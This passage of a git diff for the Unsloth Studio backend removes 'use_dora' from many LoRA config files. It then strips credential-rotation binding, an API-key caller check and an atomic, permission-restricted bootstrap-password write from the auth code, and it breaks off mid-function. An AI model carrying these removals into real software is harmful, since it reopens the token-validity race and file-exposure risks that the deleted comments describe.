a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Magistral-Small-2509-unsloth-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Magistral-Small-2509-unsloth-bnb-4bit.yaml @@ -35,7 +35,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Ministral-3-3B-Instruct-2512.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Ministral-3-3B-Instruct-2512.yaml index ded3607a14..0ba857cd40 100644 --- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Ministral-3-3B-Instruct-2512.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Ministral-3-3B-Instruct-2512.yaml @@ -35,7 +35,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Nemo-Base-2407-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Nemo-Base-2407-bnb-4bit.yaml index 2ac72f1c88..3476f2dd6d 100644 --- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Nemo-Base-2407-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Nemo-Base-2407-bnb-4bit.yaml @@ -34,7 +34,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Small-Instruct-2409.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Small-Instruct-2409.yaml index a087ced1f3..eda04d21f9 100644 --- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Small-Instruct-2409.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Mistral-Small-Instruct-2409.yaml @@ -34,7 +34,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Pixtral-12B-2409.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Pixtral-12B-2409.yaml index c9811f4f06..bcd0d20c8c 100644 --- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Pixtral-12B-2409.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Pixtral-12B-2409.yaml @@ -29,7 +29,6 @@ lora: - "all-linear" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: false diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-instruct-v0.3-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-instruct-v0.3-bnb-4bit.yaml index e3659d9fb0..34a033e32f 100644 --- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-instruct-v0.3-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-instruct-v0.3-bnb-4bit.yaml @@ -34,7 +34,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-v0.3-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-v0.3-bnb-4bit.yaml index ee17efc54d..98105eaf38 100644 --- a/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-v0.3-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/mistral/unsloth_mistral-7b-v0.3-bnb-4bit.yaml @@ -33,7 +33,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/other/OuteAI_Llama-OuteTTS-1.0-1B.yaml b/studio/backend/assets/configs/model_defaults/other/OuteAI_Llama-OuteTTS-1.0-1B.yaml index ef836b9b55..72b5b018e1 100644 --- a/studio/backend/assets/configs/model_defaults/other/OuteAI_Llama-OuteTTS-1.0-1B.yaml +++ b/studio/backend/assets/configs/model_defaults/other/OuteAI_Llama-OuteTTS-1.0-1B.yaml @@ -33,7 +33,6 @@ lora: - "v_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/other/Spark-TTS-0.5B_LLM.yaml b/studio/backend/assets/configs/model_defaults/other/Spark-TTS-0.5B_LLM.yaml index c80fad35a8..d20751b0c7 100644 --- a/studio/backend/assets/configs/model_defaults/other/Spark-TTS-0.5B_LLM.yaml +++ b/studio/backend/assets/configs/model_defaults/other/Spark-TTS-0.5B_LLM.yaml @@ -38,7 +38,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/other/sesame_csm-1b.yaml b/studio/backend/assets/configs/model_defaults/other/sesame_csm-1b.yaml index 034b5bd131..8a80282a2a 100644 --- a/studio/backend/assets/configs/model_defaults/other/sesame_csm-1b.yaml +++ b/studio/backend/assets/configs/model_defaults/other/sesame_csm-1b.yaml @@ -37,7 +37,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_GLM-4.7-Flash.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_GLM-4.7-Flash.yaml index d1a226be79..a973c2d4e4 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_GLM-4.7-Flash.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_GLM-4.7-Flash.yaml @@ -35,7 +35,6 @@ lora: - "out_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_LFM2-1.2B.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_LFM2-1.2B.yaml index 1b8df5ced9..b0feafbd6e 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_LFM2-1.2B.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_LFM2-1.2B.yaml @@ -29,7 +29,6 @@ lora: - "all-linear" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_Nemotron-3-Nano-30B-A3B.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_Nemotron-3-Nano-30B-A3B.yaml index cecab7f083..2c44c91eab 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_Nemotron-3-Nano-30B-A3B.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_Nemotron-3-Nano-30B-A3B.yaml @@ -37,7 +37,6 @@ lora: - "out_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_PaddleOCR-VL.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_PaddleOCR-VL.yaml index 730be338cf..e1fbc08e4d 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_PaddleOCR-VL.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_PaddleOCR-VL.yaml @@ -35,7 +35,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_answerdotai_ModernBERT-large.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_answerdotai_ModernBERT-large.yaml index a70ac0bd49..2abdfd8ac3 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_answerdotai_ModernBERT-large.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_answerdotai_ModernBERT-large.yaml @@ -33,7 +33,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_orpheus-3b-0.1-ft.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_orpheus-3b-0.1-ft.yaml index 90ead037f6..5a3c4abb48 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_orpheus-3b-0.1-ft.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_orpheus-3b-0.1-ft.yaml @@ -38,7 +38,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_tinyllama-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_tinyllama-bnb-4bit.yaml index a97c557c31..a6ce27620f 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_tinyllama-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_tinyllama-bnb-4bit.yaml @@ -34,7 +34,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_whisper-large-v3.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_whisper-large-v3.yaml index 6855ed6a35..050774a8cd 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_whisper-large-v3.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_whisper-large-v3.yaml @@ -33,7 +33,6 @@ lora: - "v_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3-medium-4k-instruct.yaml b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3-medium-4k-instruct.yaml index 1933fed2ba..c574714d78 100644 --- a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3-medium-4k-instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3-medium-4k-instruct.yaml @@ -34,7 +34,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3.5-mini-instruct.yaml b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3.5-mini-instruct.yaml index fda4e64158..e803c842b3 100644 --- a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3.5-mini-instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3.5-mini-instruct.yaml @@ -34,7 +34,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-4.yaml b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-4.yaml index c3910e3e5b..4de3d9437d 100644 --- a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-4.yaml +++ b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-4.yaml @@ -35,7 +35,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/imdatta0_tiny_qwen3_moe_2.8B_0.7B.yaml b/studio/backend/assets/configs/model_defaults/qwen/imdatta0_tiny_qwen3_moe_2.8B_0.7B.yaml index 765ffee938..bb75b3ce52 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/imdatta0_tiny_qwen3_moe_2.8B_0.7B.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/imdatta0_tiny_qwen3_moe_2.8B_0.7B.yaml @@ -36,7 +36,6 @@ lora: - "gate_up_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-7B.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-7B.yaml index 39b30e9cee..c305d328c2 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-7B.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-7B.yaml @@ -34,7 +34,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-VL-7B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-VL-7B-Instruct.yaml index f97e525798..6cee3d0949 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-VL-7B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-VL-7B-Instruct.yaml @@ -29,7 +29,6 @@ lora: - "all-linear" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-1.5B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-1.5B-Instruct.yaml index e19b94ede2..20ba81df2c 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-1.5B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-1.5B-Instruct.yaml @@ -34,7 +34,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-7B.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-7B.yaml index 982f54b32f..9930786c24 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-7B.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-7B.yaml @@ -34,7 +34,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-1.5B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-1.5B-Instruct.yaml index 5242128004..775c7ce08f 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-1.5B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-1.5B-Instruct.yaml @@ -34,7 +34,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-14B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-14B-Instruct.yaml index 3559b636c6..856db0c1b3 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-14B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-14B-Instruct.yaml @@ -35,7 +35,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-7B-Instruct-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-7B-Instruct-bnb-4bit.yaml index 3bc6d69afc..5900392547 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-7B-Instruct-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-7B-Instruct-bnb-4bit.yaml @@ -34,7 +34,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-VL-7B-Instruct-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-VL-7B-Instruct-bnb-4bit.yaml index 604b86dacd..bd54b1d015 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-VL-7B-Instruct-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-VL-7B-Instruct-bnb-4bit.yaml @@ -29,7 +29,6 @@ lora: - "all-linear" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-0.6B.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-0.6B.yaml index daed4ebccb..9feb6dcaae 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-0.6B.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-0.6B.yaml @@ -35,7 +35,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B-Base-unsloth-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B-Base-unsloth-bnb-4bit.yaml index 05eef89b88..a40eace253 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B-Base-unsloth-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B-Base-unsloth-bnb-4bit.yaml @@ -35,7 +35,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B.yaml index b4580e6d71..c130771c32 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B.yaml @@ -35,7 +35,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-30B-A3B-Instruct-2507.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-30B-A3B-Instruct-2507.yaml index 2eceb7d0de..2fb3a95c30 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-30B-A3B-Instruct-2507.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-30B-A3B-Instruct-2507.yaml @@ -36,7 +36,6 @@ lora: - "gate_up_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-32B.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-32B.yaml index 032091880c..152f4ae06a 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-32B.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-32B.yaml @@ -35,7 +35,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Instruct-2507.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Instruct-2507.yaml index e0e7f4ee3d..94fe000708 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Instruct-2507.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Instruct-2507.yaml @@ -35,7 +35,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Thinking-2507.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Thinking-2507.yaml index bb463849ed..3c325485d2 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Thinking-2507.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Thinking-2507.yaml @@ -35,7 +35,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-VL-8B-Instruct-unsloth-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-VL-8B-Instruct-unsloth-bnb-4bit.yaml index 23e2b89dd0..5b47c3bdd2 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-VL-8B-Instruct-unsloth-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-VL-8B-Instruct-unsloth-bnb-4bit.yaml @@ -29,7 +29,6 @@ lora: - "all-linear" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/vision_lora.yaml b/studio/backend/assets/configs/vision_lora.yaml index a06f971523..063a970316 100644 --- a/studio/backend/assets/configs/vision_lora.yaml +++ b/studio/backend/assets/configs/vision_lora.yaml @@ -30,7 +30,6 @@ lora: vision_all_linear: true use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/auth/authentication.py b/studio/backend/auth/authentication.py index 2e9520827e..9dd56489eb 100644 --- a/studio/backend/auth/authentication.py +++ b/studio/backend/auth/authentication.py @@ -11,12 +11,11 @@ import jwt from .storage import ( API_KEY_PREFIX, - credential_generation, get_jwt_secret, get_user_and_secret, load_jwt_secret, save_refresh_token, - validate_api_key_with_credential, + validate_api_key, verify_refresh_token, ) @@ -55,14 +54,11 @@ def create_access_token( expires_delta: Optional[timedelta] = None, *, desktop: bool = False, - secret: Optional[str] = None, ) -> str: """ Create a signed JWT for the given subject (e.g. username). - Valid across restarts: the signing secret is stored in SQLite. Callers that - already verified a credential pass ``secret`` so a rotation landing mid-request - cannot sign the token with the credential that just replaced it. + Valid across restarts: the signing secret is stored in SQLite. """ to_encode = {"sub": subject} if desktop: @@ -73,7 +69,7 @@ def create_access_token( to_encode.update({"exp": expire}) return jwt.encode( to_encode, - secret if secret is not None else _get_secret_for_subject(subject), + _get_secret_for_subject(subject), algorithm = ALGORITHM, ) @@ -100,28 +96,15 @@ def is_desktop_access_token(token: str) -> bool: return payload.get("sub") == subject and payload.get("desktop") is True -def create_refresh_token( - subject: str, - *, - desktop: bool = False, - secret: Optional[str] = None, -) -> str: +def create_refresh_token(subject: str, *, desktop: bool = False) -> str: """ Create a random refresh token, store its hash in SQLite, and return it. Refresh tokens are opaque (not JWTs); expire after REFRESH_TOKEN_EXPIRE_DAYS. - ``secret`` stamps the token with the credential version the caller verified, - so a rotation cannot leave a token minted from the replaced credential valid. """ token = secrets.token_urlsafe(48) expires_at = datetime.now(timezone.utc) + timedelta(days = REFRESH_TOKEN_EXPIRE_DAYS) - save_refresh_token( - token, - subject, - expires_at.isoformat(), - is_desktop = desktop, - secret_gen = credential_generation(secret) if secret is not None else None, - ) + save_refresh_token(token, subject, expires_at.isoformat(), is_desktop = desktop) return token @@ -154,85 +137,37 @@ def reload_secret() -> None: async def get_current_subject(credentials: HTTPAuthorizationCredentials = Depends(security)) -> str: """Validate JWT and require the password-change flow to be completed.""" - subject, _generation = await _get_current_credential( + return await _get_current_subject( credentials, allow_password_change = False, ) - return subject - - -async def get_current_credential( - credentials: HTTPAuthorizationCredentials = Depends(security), -) -> Tuple[str, Optional[str]]: - """As get_current_subject, but also returns the credential generation. - - For routes that persist a new credential and must not do so on behalf of one - a concurrent reset has revoked. - """ - return await _get_current_credential( - credentials, - allow_password_change = False, - ) - - -async def authenticated_via_api_key( - credentials: HTTPAuthorizationCredentials = Depends(security), -) -> bool: - """True when the caller used an sk-unsloth API key, not a UI session JWT. - - Lets routes treat programmatic API callers differently from the Unsloth UI - (e.g. refuse a teardown the UI would allow). - """ - return bool(credentials and credentials.credentials.startswith(API_KEY_PREFIX)) async def get_current_subject_allow_password_change( credentials: HTTPAuthorizationCredentials = Depends(security), ) -> str: """Validate JWT but allow access to the password-change endpoint.""" - subject, _generation = await _get_current_credential( + return await _get_current_subject( credentials, allow_password_change = True, ) - return subject -# The literal the examples ship with; pasted unedited more often than a revoked key. -API_KEY_PLACEHOLDER = f"{API_KEY_PREFIX}YOUR_KEY" - - -def _invalid_api_key_detail(token: str) -> str: - """Why the key failed. Only the example placeholder is called out; every real - key gets one indistinguishable message, so this leaks no key existence.""" - if token == API_KEY_PLACEHOLDER: - return ( - "This is the placeholder key from the example. Create an API key in " - f"Unsloth Studio under Settings > API and use it in place of {API_KEY_PLACEHOLDER}." - ) - return "Invalid or expired API key" - - -async def _get_current_credential( +async def _get_current_subject( credentials: HTTPAuthorizationCredentials, *, allow_password_change: bool -) -> Tuple[str, Optional[str]]: - """Validate the bearer and return ``(subject, credential generation)``. - - The generation is the credential version this request actually authenticated - against. Routes that persist new credentials must bind their write to it, or - a reset landing mid-request would bless what it just revoked. - """ +) -> str: + """FastAPI dependency: validate the JWT and return the subject. Use on protected routes.""" token = credentials.credentials # --- API key path (sk-unsloth-...) --- if token.startswith(API_KEY_PREFIX): - verified = validate_api_key_with_credential(token) - if verified is None: + username = validate_api_key(token) + if username is None: raise HTTPException( status_code = status.HTTP_401_UNAUTHORIZED, - detail = _invalid_api_key_detail(token), + detail = "Invalid or expired API key", ) - username, secret = verified - return username, credential_generation(secret) + return username # --- JWT path --- subject = _decode_subject_without_verification(token) @@ -263,7 +198,7 @@ async def _get_current_credential( status_code = status.HTTP_403_FORBIDDEN, detail = "Password change required", ) - return subject, credential_generation(jwt_secret) + return subject except jwt.InvalidTokenError: raise HTTPException( status_code = status.HTTP_401_UNAUTHORIZED, diff --git a/studio/backend/auth/bootstrap_timeout.py b/studio/backend/auth/bootstrap_timeout.py index 97a8086f04..728433dc54 100644 --- a/studio/backend/auth/bootstrap_timeout.py +++ b/studio/backend/auth/bootstrap_timeout.py @@ -1,13 +1,13 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 -"""Auto-shutdown for an exposed first-run Unsloth whose admin password is unchanged. +"""Auto-shutdown for an exposed first-run Studio whose admin password is unchanged. On a fresh install the seeded bootstrap admin password stays a valid login credential until first login changes it. When the web UI is put on the network (``--secure`` / ``0.0.0.0``) and nobody completes that first-login change within -a deadline, tear Unsloth down so a fresh, unconfigured instance does not stay -publicly reachable indefinitely. If the password was changed, Unsloth keeps +a deadline, tear Studio down so a fresh, unconfigured instance does not stay +publicly reachable indefinitely. If the password was changed, Studio keeps running. Scope: web UI launches only (never ``--api-only``, which authenticates by API @@ -98,7 +98,7 @@ def enforce_bootstrap_password_deadline( ) -> bool: """Deadline handler: shut down iff the seeded admin password is still unchanged. - Returns True if it shut Unsloth down, False if it left it running (the + Returns True if it shut Studio down, False if it left it running (the password was changed in time). """ try: @@ -106,7 +106,7 @@ def enforce_bootstrap_password_deadline( except Exception: return False if not still_default: - return False # password changed in time -> leave Unsloth running + return False # password changed in time -> leave Studio running message = ( "\nUnsloth Studio was exposed on the network but its default admin " diff --git a/studio/backend/auth/storage.py b/studio/backend/auth/storage.py index 6cf4d44834..a0da2b2096 100644 --- a/studio/backend/auth/storage.py +++ b/studio/backend/auth/storage.py @@ -9,7 +9,6 @@ import ipaddress import os import secrets import sqlite3 -import tempfile import threading from datetime import datetime, timezone from typing import Optional, Tuple @@ -19,10 +18,6 @@ from utils.paths import auth_db_path, ensure_dir DB_PATH = auth_db_path() DEFAULT_ADMIN_USERNAME = "unsloth" -# Single source for the password policy; models/auth.py ChangePasswordRequest -# and the terminal prompt both enforce it. Keep the unsloth_cli mirror in sync. -MIN_PASSWORD_LENGTH = 8 - # Plaintext bootstrap password file beside auth.db, deleted on first password # change so the credential never lingers on disk. _BOOTSTRAP_PW_PATH = DB_PATH.parent / ".bootstrap_password" @@ -31,97 +26,6 @@ _BOOTSTRAP_PW_PATH = DB_PATH.parent / ".bootstrap_password" _bootstrap_password: Optional[str] = None -def _bootstrap_file_bytes(password: str) -> bytes: - """Exact on-disk form: the secret plus one LF. - - Bytes, not text: text mode writes CRLF on Windows, and `$(cat ...)` strips - the LF but leaves the CR attached to the credential. - """ - return (password + "\n").encode("utf-8") - - -def _persist_bootstrap_password(password: str) -> None: - """Atomically write the bootstrap password 0600, LF terminated on every OS. - - A partial write would destroy the only plaintext recovery credential. - """ - fd, tmp_name = tempfile.mkstemp( - prefix = f".{_BOOTSTRAP_PW_PATH.name}.", dir = _BOOTSTRAP_PW_PATH.parent - ) - try: - with os.fdopen(fd, "wb") as f: - f.write(_bootstrap_file_bytes(password)) - try: - os.chmod(tmp_name, 0o600) - except OSError: - pass - os.replace(tmp_name, _BOOTSTRAP_PW_PATH) - except BaseException: - try: - os.unlink(tmp_name) - except OSError: - pass - raise - - -def _normalise_bootstrap_file(raw: bytes, password: str) -> None: - """Append the LF a pre-newline release left off. - - Append-only, and only when the file is exactly the credential: - clear_bootstrap_password() may unlink or (when unlink fails, notably on - Windows while this descriptor is open) truncate through another descriptor - after we read, so a rewrite could restore revoked plaintext. An append - cannot: worst case is a lone "\\n" over a cleared file, which strips back to - no bootstrap password. Pre-newline releases wrote no terminator at all, so - that is the only shape in the wild; anything else reads fine, since every - reader strips, and is left alone. - """ - if raw != password.encode("utf-8"): - return - - # O_BINARY: without it Windows opens in text mode and turns the LF straight - # back into CRLF, the bug being fixed. - fd = os.open( - 